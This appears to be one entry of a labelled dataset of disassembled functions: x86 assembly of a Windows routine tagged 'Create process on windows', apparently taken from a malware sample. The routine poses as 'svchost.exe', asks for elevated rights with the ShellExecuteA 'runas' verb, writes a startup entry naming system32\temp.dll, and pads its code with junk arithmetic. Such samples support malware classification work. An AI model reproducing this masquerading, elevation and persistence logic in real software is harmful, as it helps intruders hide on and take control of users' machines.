Function at 0x408e40
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43433b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x8a4
mov eax, dword [0x442230]
mov ecx, dword [0x4410bc]
mov dword [ebp - 0x14], eax
mov eax, 0x61f4f3e1
imul ecx
mov ecx, dword [0x4410b8]
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add eax, edx
push ebx
push esi
mov esi, eax
mov eax, 0xa0c15
cdq
idiv ecx
push edi
mov dword [ebp - 0x10], esp
push 0x104
mov dword [ebp - 4], 0
mov edi, eax
mov eax, 0x1984ece9
imul ecx
imul ecx, ecx, 0xff4b
sar edx, 0x10
sub edi, esi
mov esi, dword [0x4410b4]
mov eax, edx
imul esi, esi, 0x53a0f
shr eax, 0x1f
add edi, edx
mov edx, dword [0x4410d0]
add eax, edi
mov dword [str._r_____r____], eax
mov eax, 0x3307af59
imul edx
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add esi, edx
add eax, esi
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
sub eax, ecx
lea ecx, [ebp - 0x254]
push ecx
push 0
mov dword [0x4410b4], eax
call esi
push 0x104
lea edx, [ebp - 0x454]
push edx
push 0
call esi
mov ecx, dword [0x4410c8]
mov esi, dword [0x4410b8]
mov eax, 0x61f4f3e1
imul esi, esi, 0xd454
imul ecx
mov ecx, dword [0x4410c0]
sar edx, 0x11
imul ecx, ecx, 0xa081a
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
lea edx, [ebp - 0x254]
sub esi, ecx
push 0x5c
push edx
mov dword [0x4410b8], esi
call fcn.0041a530
mov esi, eax
add esp, 8
test esi, esi
jne 0x408f79
lea eax, [ebp - 0x254]
push 0x2f
push eax
call fcn.0041a530
mov esi, eax
add esp, 8
test esi, esi
je 0x409460
mov ecx, dword [0x4410d0]
mov edi, dword [0x4410c4]
mov eax, 0xccf850a7
imul edi, edi, 0x3bf27
imul ecx
sar edx, 0x11
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [str._r_____r____]
imul edx, edx, 0x181cd
sub ecx, edi
add ecx, edx
mov dword [0x4410bc], ecx
mov ecx, dword [str.svchost.exe]
lea eax, [esi + 1]
mov dword [eax], ecx
mov edx, dword [0x435f14]
mov dword [eax + 4], edx
mov ecx, dword [0x435f18]
lea edx, [ebp - 0x454]
push str.svchost.exe
push edx
mov dword [eax + 8], ecx
call fcn.00419de0
add esp, 8
test eax, eax
jne 0x409479
push eax
lea eax, [ebp - 0x254]
push eax
call fcn.0041a1d4
add esp, 8
cmp eax, 0xffffffff
je 0x409479
mov ecx, dword [0x4410b4]
mov eax, 0x88a76c3f
imul ecx
add edx, ecx
mov ecx, dword [0x4410cc]
sar edx, 0x11
mov edi, edx
shr edi, 0x1f
add edi, edx
mov eax, 0x197ad0b7
imul ecx
mov ecx, dword [str._r_____r____]
sar edx, 0x10
mov ebx, edx
add edi, edx
mov eax, 0x3307af59
imul ecx
sar edx, 0x11
mov ecx, edx
shr ebx, 0x1f
shr ecx, 0x1f
add ecx, edx
add ebx, edi
sub ebx, ecx
mov dword [0x4410c0], ebx
call fcn.0043189a
mov eax, dword [eax + 4]
mov edx, dword [eax + 0x44]
push edx
lea ecx, [ebp - 0x85c]
call fcn.00408a50
mov ecx, dword [ebp - 0x85c]
mov ebx, 1
mov byte [ebp - 4], bl
lea edx, [ebp - 0x654]
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x409080
lea eax, [ebp - 0x654]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x409093
sub eax, edx
mov dword [ebp - 0x858], eax
je 0x4090dc
lea eax, [ebp - 0x654]
push eax
lea ecx, [ebp - 0x254]
push ecx
lea edx, [ebp - 0x854]
push str.__s___s
push edx
call fcn.00419fad
add esp, 0x10
lea ecx, [ebp - 0x854]
lea edx, [ebp - 0x254]
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x4090d2
mov ecx, dword [0x4410d0]
mov eax, 0x61f4f3e1
imul ecx
sar edx, 0x11
mov edi, edx
shr edi, 0x1f
add edi, edx
mov edx, dword [0x4410bc]
mov eax, 0x3307af59
imul edx
sar edx, 0x11
add edi, edx
mov eax, edx
shr eax, 0x1f
add eax, edi
mov edi, eax
mov eax, 0x1984ece9
imul ecx
sar edx, 0x10
add edi, edx
mov eax, edx
shr eax, 0x1f
add eax, edi
mov dword [0x4410c4], eax
xor eax, eax
mov ecx, 0x11
lea edi, [ebp - 0x8a0]
rep stosd dword es:[edi], eax
mov ecx, dword [0x4410b4]
mov eax, 0x88a76c3f
imul ecx
add edx, ecx
sar edx, 0x11
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edi, ecx
mov ecx, dword [0x4410c0]
mov eax, 0x61f4f3e1
imul ecx
mov ecx, dword [0x4410d4]
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, edi
mov edi, eax
mov eax, 0x402d6015
imul ecx
sar edx, 0xe
add edi, edx
mov ecx, edx
shr ecx, 0x1f
add ecx, edi
mov dword [0x4410c8], ecx
mov ecx, dword [str._r_____r____]
mov eax, 0x197ad0b7
imul ecx
mov ecx, dword [0x4410cc]
sar edx, 0x10
mov edi, edx
shr edi, 0x1f
add edi, edx
mov edx, ecx
imul edx, edx, 0xa0887
add edi, edx
mov eax, 0x40499437
imul ecx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add edi, edx
add eax, edi
lea ecx, [ebp - 0x8b0]
mov dword [ebp - 0x8a0], 0x44
mov dword [ebp - 0x874], ebx
mov word [ebp - 0x870], 5
mov dword [0x4410cc], eax
push ecx
lea edx, [ebp - 0x8a0]
push edx
push 0
push 0
push 0x20
push 0
push 0
push 0
lea eax, [ebp - 0x254]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x4092aa
xor eax, eax
mov ecx, 0x10
lea edi, [ebp - 0x54]
rep stosd dword es:[edi], eax
mov ecx, dword [0x4410c8]
mov eax, 0x3307af59
imul ecx
imul ecx, ecx, 0xff4b
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4410c4]
mov esi, eax
mov eax, 0x1984ece9
imul edx
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
sub esi, ecx
lea ecx, [ebp - 0x54]
push 0x40
push ecx
mov dword [0x4410d0], esi
call fcn.00402e90
mov esi, dword [0x4410c0]
mov edx, dword [0x4410bc]
imul esi, esi, 0x53a0f
mov ecx, dword [0x4410b4]
imul edx, edx, 0xa0c15
sub esi, edx
mov eax, 0x3307af59
imul ecx
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add esi, edx
add esp, 8
add eax, esi
mov dword [0x4410d4], eax
jmp 0x409404
mov ecx, dword [0x4410bc]
mov eax, 0x61f4f3e1
imul ecx
sar edx, 0x11
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edi, ecx
mov ecx, dword [0x4410b8]
mov eax, 0xa0c15
cdq
idiv ecx
sub eax, edi
mov edi, eax
mov eax, 0x1984ece9
imul ecx
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add edi, edx
add eax, edi
mov dword [str._r_____r____], eax
lea eax, [ebp - 0x254]
lea ecx, [ebp - 0x454]
lea esp, [esp]
mov dl, byte [eax]
inc eax
mov byte [ecx], dl
inc ecx
test dl, dl
jne 0x409300
lea ecx, [ebp - 0x254]
sub esi, ecx
mov byte [ebp + esi - 0x454], dl
mov ecx, dword [0x4410d0]
mov esi, dword [0x4410b4]
mov eax, 0x3307af59
imul esi, esi, 0x53a0f
imul ecx
mov ecx, dword [0x4410b8]
imul ecx, ecx, 0xff4b
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add esi, edx
push ebx
add eax, esi
sub eax, ecx
lea edx, [ebp - 0x454]
push edx
push 0
mov dword [0x4410b4], eax
lea eax, [ebp - 0x254]
push eax
push str.runas
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
jle 0x409404
mov ecx, dword [0x4410c8]
mov esi, dword [0x4410b8]
mov eax, 0x61f4f3e1
imul esi, esi, 0xd454
imul ecx
sar edx, 0x11
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x4410c0]
imul edx, edx, 0xa081a
sub esi, ecx
xor eax, eax
mov ecx, 0x10
lea edi, [ebp - 0x54]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x54]
sub esi, edx
push 0x40
push eax
mov dword [0x4410b8], esi
call fcn.00402e90
mov ecx, dword [0x4410d0]
mov esi, dword [0x4410c4]
mov eax, 0xccf850a7
imul esi, esi, 0x3bf27
imul ecx
sar edx, 0x11
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [str._r_____r____]
imul edx, edx, 0x181cd
sub ecx, esi
add esp, 8
add ecx, edx
mov dword [0x4410bc], ecx
push 0
call fcn.0041a4ea
push eax
lea eax, [ebp - 0x254]
push 0x4360d4
push eax
call fcn.00419fad
add esp, 0x10
push str.c:windows_system32_temp.dll
lea ecx, [ebp - 0x254]
push ecx
push str.start
push str.system
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
mov eax, dword [ebp - 0x85c]
add eax, 0xfffffff0
mov byte [ebp - 4], 0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x409460
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x14]
call fcn.00419f5d
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.00408d50
jmp 0x409460